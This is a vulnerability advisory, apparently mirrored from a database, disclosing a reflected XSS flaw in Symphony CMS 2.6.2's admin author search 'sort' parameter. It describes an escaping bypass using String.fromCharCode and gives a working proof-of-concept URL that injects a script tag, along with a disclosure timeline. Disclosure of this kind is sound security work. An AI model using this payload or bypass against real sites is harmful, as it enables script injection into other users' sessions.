Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:32221
HistoryJun 14, 2015 - 12:00 a.m.

Symphony CMS XSS Vulnerability [Corrected Post]

2015-06-1400:00:00
vulners.com
32

[Correction] of Vendor Info for Symphony CMS XSS Vulnerability POST on (Jun 08)

[+] Credits: John Page ( hyp3rlinx )

[+] Domains: hyp3rlinx.altervista.org

[+] Source: http://hyp3rlinx.altervista.org/advisories/AS-SYMPHONY0606.txt

Vendor:

www.getsymphony.com/download/

Product:

Symphony CMS 2.6.2

Advisory Information:

Symphony CMS XSS Vulnerability

Vulnerability Details:

The 'sort' parameter used by author search in Admin is XSS exploitable. Symphony seems to escape injected strings
e.g. 'HELL' becomes \'HELL\' but we can easily defeat that using Javascript functions charCodeAt() & fromCharCode()

e.g.
String.fromCharCode(72,69,76,76)

Now we can output our 'HELL' strings, construct URLs etc…

Exploit XSS code(s):

http://localhost/symphony-2.6.2/symphony/system/authors/?sort=</h1><script>alert(String.fromCharCode(72,69,76,76))</script><h1>&order=asc

Disclosure Timeline:

Vendor Notification: June 5, 2015
June 6, : Public Disclosure

Severity Level:

Med

Description:

Request Method(s):
[+] GET

Vulnerable Product:
[+] Symphony CMS 2.6.2

Vulnerable Parameter(s):
[+] sort

Affected Area(s):
[+] symphony/system/authors/

===============================================================

(hyp3rlinx)